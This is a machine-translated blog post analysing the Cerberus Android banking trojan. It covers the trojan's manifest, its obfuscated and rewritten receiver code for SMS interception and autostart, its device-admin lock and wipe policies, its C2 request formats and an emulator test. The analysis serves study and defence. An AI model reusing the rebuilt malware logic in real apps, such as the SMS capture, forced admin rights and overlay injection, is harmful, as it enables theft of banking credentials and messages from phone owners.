📜 ⬆️ ⬇️

Research of modern Malware Cerberus for Android

image

On the nose of 2020 and today we already have a version of Android 9.0 Pie, where Google is hitting his chest and saying that their product is protected. But the villains are not asleep and create their own malware for Android.

I accidentally got into my hands an obfuscated apk file, which is a banking malware called “Cerberus”, and it appeared in 2019.
')
The APK file of this botnet got me with an invalid server connection address, so part of the work logic and functionality remained unexplored, since this botnet uses a “modular” system and loads the functionality directly from its server.

Analysis apk package


After analyzing the apk-package, I created the structure of the Trojan program:

  1. Receiver, autorun + alarm;
  2. Service, works in a cycle with an interval of 8 seconds, it is responsible for displaying a pop-up message to enable the Accessibility Service, activate the screen lock function and disable administrator rights;
  3. Service, collecting data from the sensors of the device, thus the malware received the physical activity of the device;
  4. Service, in a cycle, blocks the screen of the device;
  5. Service, responsible for data exchange with the server;
  6. Activity, loads the html code in the WebView, and shows the contents, serves to replace the activation of the bank application
  7. Activity, requests dangerous permissions.
  8. Class, keeps the main string (String) of the project

Let's start with the manifest


The manifesto of the application is quite interesting, and it is already possible to determine from it that this is not a simple application, but an ordinary malware.

For example, consider the permissions for an application:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> 

Here you can see that the application gets access to SMS, contacts, calls, the Internet, the application works in sleep mode.

We go further, and we see privileges that allow the application to become the main one for receiving / sending SMS, this is the villains use to hide SMS messages on the victims' phones.

  <activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service> 

And of course the Receiver, it serves for autorun services, and SMS interception.

  <receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> 

Admin rights, this is much more interesting. The application needs them to block the deletion of the application (if the administrator rights are enabled, the application will not have a “delete” button), these rights will also allow you to delete everything from the device, block the device.

  <activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver> 

Well, the most interesting thing is the Accessibility Service. It is used so that the malware can click on the screen itself and give itself the necessary permissions, including the admin rights. Through this permission, attackers track all user activity on the device.

  <service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service> 

Well, the rest of the services and activations that are not of particular interest without a valid Malvari server address.

  <activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/> 

In general, the malware does not use anything supernatural, it does not have any use of any 0-day on android. Criminals need to get the victim to include one permission, and no more, then Malvar will do everything herself.

Google would need to limit some of the API features for non-playlist apps.

Receiver


The code of this class is obfuscated, but this does not prevent to study it.

Obfuscated code
 public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } } 


And now a little explanation on the code.

Malvari settings are stored in the XML file, the file is located in the directory /data/data/package_name/shared_prefs/Settings.xml


I tried to bring the obfuscated code above into a more readable and normal form:

Readable code
 public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent); //   } if (isAdminDevice(context)) { if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) { if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) { SaveXML(context, consts.autoClick, "1"); } Intent intent = new Intent(context, Admin.class); intent.putExtra("admin", "1"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); startActivity(intent); } } } public void interceptionSMS(Context context, Intent intent){ Bundle bundle = intent.getExtras(); if (bundle != null) { final Object[] pdus = (Object[]) bundle.get(consts.string_116); String number = ""; String text = ""; if (pdus != null) { for (Object aPdusObj : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj); number = smsMessage.getDisplayOriginatingAddress(); text += smsMessage.getDisplayMessageBody(); } SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::"); } } } } 


So I think the code has become more understandable to many readers.

Receiver has 3 triggering triggers, and this is when the device is restarted, SMS is received or Alarmon is launched.

Receiver also launches 3 services:


First of all, Service_fa is started and only after the device becomes active (if the owner of the phone walks and the phone shakes), start Service_server and Service_event_loop. They are the main process of Malvari, this method can remove real devices from emulators and receivers, av and others.

Receiver also launches the Doze Mode disconnect request and the administrator privilege confirmation request.

Since the malware has administrator privileges, it cannot be removed from the device until the rights are removed.

Admin rights


Let's look at what opportunities we have thanks to the Admin Device.

 <!-- ADMIN DEVICE XML --> <?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin> 

the force-lock element is responsible for the device screen lock rights, and wipe-data for deleting the DATA, CACHE, and all memory sections on the device (completely resetting it).

Service_fa


On it we will finish to consider Receiver, and we will consider other services. A service that removes data from touch sensors using the SensorManager class, this service simply receives the activity data and saves it to an XML file.

Thanks to this, the villains will get an activity history and make its analysis for screening out emulators and especially lazy users.

Service_server


This stream is created to communicate with the server, the data is transmitted to the server in an encrypted form using the RC4 encryption algorithm, encoding everything in base64 after it.

When starting the service, the first request to the server looks like this:

  { "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" } 

I sent the data sent to the server randomly, I think everything is clear by the name of the parameters, what is responsible for what, so we’ll not stop at their analysis.
Now we’ll see what the server’s responses might be, the malware checks if the empty response returns, if it does, it starts looping through the server’s domain array in a loop and sends this request to each domain, and if the answer contains the string == "~ I ~", then Malware stops at this domain and starts working with it.

We have decided on which domain we are working with, now we are looking at the rest of the answers.

If Response == "|| youNeedMoreResources ||" is returned then immediately a request is sent to the server to receive an additional Malvari module:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}
Go ahead, Response == "|| no ||"
sends a gate_url request to the server ? action = registration & data = JSON :
  { "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" } 

This request is used to register a new user in the admin panel, on this server requests are over.

But below there is a condition that checks the presence of the file "system.apk".

Obfuscated code:

 if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){} 

Simplified code:

 if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {} 

if the file is present, JSON is generated in the form:
 { "params":"updateSettingsAndCommands", "response":"data" } 

The response parameter transmits the response from the server, then json is transmitted to the method that is located in the “system.apk” module, and it is executed using the DexClassLoader class.

Service_event_loop


This service runs in a loop and waits for the command to lock the device. The device is locked in a loop using administrator rights.

 DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow(); 

This service is able to disable administrator rights, apparently the author of Malvari decided to do this for the “self-destruction” of Malvari, so as not to leave traces on the phone of the victims.

  ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName); 

The cycle also has 2 work speeds, 1 second and 8 seconds, if the Accessibility Service is disabled, it works at the 1st second and asks to enable this service, simply opening the Activity and forcing it to enable special features, in practice we will consider it in detail.

At the end of the cycle there is also an implementation like in Service_server, and specifically sending commands to the method that is inside the loaded module "system.apk", but the parameters are not much different, we look at JSON:

  { "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" } 

tick - seconds that the service cycle counts, accessibility - checks if the Accesibility Service is enabled.

Class string (s)


All strings inside the class are encrypted using the RC4 algorithm, and then encoded in base64.

Example:

encrypted string: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
where the first 12 characters of the straka are the decryption key of the RC4 algorithm
Keys: yyshybiwijuj
Encrypted text: YzdkZDdkMjRlYjJmYjU5Y2Qw

Here is part of the class String (s)

  /* renamed from: A */ public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); /* renamed from: B */ public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); /* renamed from: C */ public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); /* renamed from: D */ public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); /* renamed from: E */ public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); /* renamed from: F */ public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); /* renamed from: G */ public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); /* renamed from: H */ public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); /* renamed from: I */ public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc="); 


I wrote a script to convert these strings to a normal view, it helped me pass the time.

  /* renamed from: A */ public final String str_statMails = "statMails"; /* renamed from: B */ public final String str_activeDevice = "activeDevice"; /* renamed from: C */ public final String str_timeWorking = "timeWorking"; /* renamed from: D */ public final String str_statDownloadModule = "statDownloadModule"; /* renamed from: E */ public final String str_lockDevice = "lockDevice"; /* renamed from: F */ public final String str_offSound = "offSound"; /* renamed from: G */ public final String str_keylogger = "keylogger"; /* renamed from: H */ public final String str_activeInjection = "activeInjection"; /* renamed from: I */ public final String str_timeInject = "timeInject"; 

We also see what is stored in this class:

  /* renamed from: ay */ public final String str_url = "https://twitter.com/LukasStefanko"; /* renamed from: az */ public final String str_Accessibility = "Flash Player Service"; /* renamed from: bb */ public final String str_gate1 = "action=registration&data="; /* renamed from: bc */ public final String str_gate2 = "action=sendInjectLogs&data="; /* renamed from: bd */ public final String str_gate3 = "action=sendSmsLogs&data="; /* renamed from: be */ public final String str_gate4 = "action=timeInject&data="; /* renamed from: bf */ public final String str_gate5 = "action=sendKeylogger&data="; /* renamed from: bg */ public final String str_gate6 = "action=getModule&data="; /* renamed from: bh */ public final String str_gate7 = "action=checkap&data="; /* renamed from: bj */ public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]"; 


The server URL is specified on the Lukas Stefanko twitter recruiter (@LukasStefanko), apparently the author wanted to joke or say something to Lucas (This is an analyst from NOD32), the Accessibility Service + name is also stored here and the same name is stored in the android manifest: label = “Flash Player Service ”, and a list of countries for which the hardware does not work.

Rest


Briefly describe the work injects. It is implemented simply if the Accessibility Service is enabled, then this service simply catches the launch of the banking application and runs its activation on top of the bank’s activation, where it has a WebView object that loads the html fake bank, then receives data using JavaScript and sends the data to Malvari server.

Also in this service is implemented Keylogger, blocking the removal of Malvari and auto-click on confirmations. A disconnect security interaction was detected in the com.miui.securitycenter application. This application is called “Security” that is used on Xiaomi devices, its main tasks are to monitor the security of your confidential data. Also, a code was found to automatically disable Google Play Protect using the auto-click method.

Let's go to practice


I managed to find twitter villains and get a screenshot of the admin panel

image

Install the apk-package on the emulator with API 27.

A flash player icon called “Flash Player” appeared on the desktop.

Screenshot
image

We are waiting for the icon, and we run malware.

After the launch of the Malvari, the Auto Activation starts automatically with the requirement to enable the Accessibility Service, if you collapse it, it will appear again and this happens in a loop until I enable the service.

Screenshot
imageimage

After turning on the Accessibility Service checkbox, the automatic transition from the settings to the desktop was performed, and I could not get to the Accessibility Service settings anymore, the icon from the desktop also disappeared, after a few seconds I was asked to disable Doze Mode, it automatically disconnected due to the auto-click on special features .

Screenshot
image

Following was the same way auto confirmation of administrator rights. It was not possible to delete the malware manually because opening the settings for this application was automatically backtracked (GLOBAL_ACTION_BACK).

Actually, this is all in the first part, in a short time I will write the second part with an additional and possibly with the main module of this bot, since I could not find the apk file with the valid link to the server.

The reverse of the Malvari was implemented jointly with keklick1337

Source: https://habr.com/ru/post/459858/


All Articles